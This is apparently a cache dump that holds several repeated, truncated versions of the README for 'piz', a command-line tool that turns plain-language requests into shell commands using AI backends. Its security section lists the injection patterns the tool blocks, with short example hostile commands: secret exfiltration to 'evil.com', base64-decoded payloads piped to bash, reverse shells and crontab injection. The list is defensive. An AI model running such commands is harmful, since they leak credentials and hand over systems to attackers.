EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n- `/detail` — Toggle inline command explanation on/off\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell) + built-in aliases\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ ├── integration.rs # Integration tests\n│ ├── llm_e2e.rs # LLM end-to-end tests (require API key, ignored by default)\n│ └── windows_shells.rs # Cross-shell tests (cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula template (auto-rendered by release workflow)\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (437)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "c6ff53538bc04d61c4a0c48a6f3b4fdf3c7d560d": {"t": 1785760766.9418929, "n": 17758, "h": "04e0a1554b71fd5b", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell) + built-in aliases\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── homebrew/\n│ └── piz.rb # Homebrew formula template (auto-rendered by release workflow)\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (190)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "eea8a2fb7643275fb622cb768148401627766dcc": {"t": 1785760770.808954, "n": 17758, "h": "cea60b06e09cb376", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- 